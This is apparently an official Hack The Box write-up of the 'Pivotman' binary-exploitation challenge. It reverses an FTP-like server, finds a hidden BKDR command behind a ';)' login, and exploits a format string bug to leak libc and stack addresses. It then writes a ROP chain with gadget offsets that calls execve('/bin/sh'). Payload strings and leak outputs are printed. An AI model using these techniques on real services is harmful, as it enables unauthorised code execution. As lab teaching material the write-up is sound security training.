



HACKTHEBOX



Pivotman

15th April 2022 / Document No.
D22.102.229

Prepared By: w3th4nds

Challenge Author(s): lms57

Difficulty: **Easy**

Classification: Official

Synopsis

Pivotman is a Medium difficulty, binary exploitation challenge that features a format string vulnerability to leak addresses, a backdoor command and finally, a ROP chain.

Skills Learned

- Format String Exploitation

Enumeration

First of all we start with `checksec`:



```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
```

Protections

Protection	Enabled	Usage
Canary	✗	Prevents Buffer Overflows
NX	✓	Disables code execution on stack
PIE	✓	Randomizes the base address of the binary
RelRO	Full	Makes some binary sections read-only

All protections are enabled but canary. If we run `file` on the binary:

```
./chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),  
dynamically linked,  
interpreter ./ld-linux-x86-64.so.2...
```

We can see that the `ld` in the current directory is used as the dynamic loader and that it's a 64-bit binary.

Running the `libc` gives you details about the library:

```
./libc.so.6  
GNU C Library (Ubuntu GLIBC 2.33-0ubuntu9) release release version  
2.33.  
Copyright (C) 2021 Free Software Foundation, Inc.  
This is free software; see the source for copying conditions.  
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A  
PARTICULAR PURPOSE.  
Compiled by GNU CC version 10.3.0.  
libc ABIs: UNIQUE IFUNC ABSOLUTE  
For bug reporting instructions, please see:  
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
```

It gives us the details of dealing with **glibc 2.33**. Different versions of Glibc have different protections and function opportunities. For now the only significant difference for 2.33 is the **lack of malloc and free hooks** within the binary.

Disassembly

Now we can look into reversing the binary. We can do this within `Ghidra`. Going to `entry()`, the first function ran inside our binary. From here `main()` is the first parameter sent to

```
__libc_start_main().
```

Starting from `entry()`:

```

void entry(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
    undefined8 in_stack_00000000;
    undefined auStack8 [8];

    __libc_start_main(FUN_00103a02,in_stack_00000000,&stack0x00000008,FUN_00103a30
,FUN_00103a90,
                    param_3,auStack8);

    do {

        /* WARNING: Do nothing block with infinite loop */

    } while( true );
}

```

Going into `Fun_00102b77()`, the juice of our binary, that we will refer to as a handler from now on. Checking the first function call of `FUN_00102370()` looks like a write function by utilising a `vsnprintf()` and a write function call, and we can rename it as such. The header is printed to us after we connect or run the application.

```

<SNIP>
bVar8 = 0;
write("%d Blablah FTP \r\n",0xdc);
local_1068 = 0;
<SNIP>

```

Here we have a `while(true)` loop, and a read function call, meaning this is the main loop of our program.

```

while( true ) {
    sVar5 = read(0,&DAT_00106220,0x1000);
    iVar2 = (int)sVar5;
}

```

We read data by `0x1000` bytes at a time into our buffer, which with a glance should be large enough to handle it without an overflow. After that, carriage returns, and newlines are removed and replaced with a null byte. If there is no null byte, we end prematurely. Then we pass our buffer to **`FUN_00102a56()`**. Here, our sent-in parameter is compared to a command list found at **`PTR_DAT_00106220`**.

```

undefined4 FUN_00102a56(long param_1,int param_2)

{
    int local_10;
    int local_c;

    local_c = 0;
    while( true ) {
        if (0x1d < local_c) {
            return 0xffffffff;
        }
        local_10 = 0;
    }
}

```

```

while (((&PTR_DAT_00106020)[(long)local_c * 2][local_10] != '\0' &&
(local_10 < param_2)) &&
    (((&PTR_DAT_00106020)[(long)local_c * 2][local_10] == *(char *)
(param_1 + local_10) ||
    ((int)(char)(&PTR_DAT_00106020)[(long)local_c * 2][local_10] ==
    *(char *) (param_1 + local_10) + -0x20)))) {
    local_10 = local_10 + 1;
}
if ((&PTR_DAT_00106020)[(long)local_c * 2][local_10] == '\0') break;
local_c = local_c + 1;
}
return *(undefined4 *)(&DAT_00106028 + (long)local_c * 0x10);
}

```

This list consists of the following commands:

```

<SNIP>

                                DAT_00104008                                XREF[1]:
00106020(*)
    00104008 55                ??                55h    U
    00104009 53                ??                53h    S
    0010400a 45                ??                45h    E
    0010400b 52                ??                52h    R
    0010400c 00                ??                00h
    0010400d 50                ??                50h    P
    0010400e 41                ??                41h    A
    0010400f 53                ??                53h    S
    00104010 53                ??                53h    S
    00104011 00                ??                00h
                                DAT_00104012                                XREF[6]:
FUN_00102b77:001031b9(*),
FUN_00102b77:001031c0(*),
FUN_00102b77:001031fe(*),
FUN_00102b77:00103205(*),
FUN_00102b77:0010334b(*),
FUN_00102b77:00103352(*)
    00104012 52                ??                52h    R
    00104013 45                ??                45h    E
    00104014 54                ??                54h    T
    00104015 52                ??                52h    R

<SNIP>
The rest are:
USER
PASS
RETR
STOR
STOU
APPE
REST

```

```
RNFR
RNT0
ABOR
DELE
RMD
MKD
PWD
CWD
CDUP
LIST
NLST
SITE
STAT
HELP
NOOP
TYPE
PASV
PORT
SYST
QUIT
MDTM
SIZE
BKDR
```

Comparing this to an actual list of FTP commands, you can see an extra called **BKDR** hidden in there. The check after this lookup function checks to see if our returned value is 0, 1, or 0x1a.

```
<SNIP>
    else {
        if (((local_34 == 0) && (local_44 != 0)) && (local_44 != 0x1a)) ||
            (((local_34 == 1 && (local_44 != 1)) && (local_44 != 0x1a)))) {
            write("%d Need login. Login first. \r\n",0x212);
        }
    }
<SNIP>
```

It lines up with the following commands from the list above, **USER**, **PASS**, and **QUIT**, meaning we need to login first, in order to get to our new **BKDR** command. Look at the **USER** and **PASS** commands; we can see a call to **FUN_00102a22()**.

```
bool FUN_00102a22(char *param_1)
{
    int iVar1;

    iVar1 = strcmp(param_1, ";");
    return iVar1 == 0;
}
```

Here we can see our supplied username or password has a hidden user of ;). In the testing, we can see we login successfully.

```
220 Blablah FTP
USER ;)
331 User name okay need password
PASS ;)
230 User logged in proceed
```

If we scroll down to the BKDR case of 0x1d, we can see a header and a footer added to our buffer and our data is returned straight to us through the write wrapper. Looking closer at this, we can see that our buffer is passed to the **vsnprintf()** function giving us a **format string vulnerability**. Testing this, we can see that it is correct.

```
BKDR %p
431136 BKDR 0xd20
```

From this, we can now leak **libc** addresses. We check individual indexes by utilising the `$` functionality of formatters. Such a leak exists at index `2739`.

```
BKDR %2739$p
431136 BKDR 0x7ff29ff5e565
```

A stack leak can similarly be found at index `2736`.

```
BKDR %2736$p
431136 BKDR 0x7ffd0afe5d80
```

A buffer we control can also be found on the stack at index `103`.

```
BKDR zzzzzzzz%103l$p
431136 BKDR zzzzzzzz0x7a7a7a7a7a7a7a7a
```

With this information we can now utilize the **%n** format specifier to create an ROP chain in the stack. There are several ways to complete our goal from this point, but we opted to go for `/bin/sh` execution. Using **ropper**, or a similar gadget finding tool, we can find a **pop rdi**, **pop rsi**, **pop rdx**, and gadgets such as these.

```
rdi = libc_base+0x000000000028a55
rsi = libc_base+0x00000000002a4cf
rdx = libc_base+0x000000000157606 #pop rdx; pop rbx; ret
```

We can find a **/bin/sh** buffer in libc to utilize. The first one is located at an offset of `0x1abf05`. Using our stack leak and the format string, we can move our rop chain to the stack over our return address.

```
pop rdi
/bin/sh str
pop rsi
0
pop rdx
0
0
execve
```

Then we can issue the **QUIT** command to invoke it and get a shell. Since we don't have permission to read from /flag.txt we need to run the **get_flag** binary in /home/ctf.

```
./get_flag
HTB{f4k3_fl4g_4_t35t1ng}
```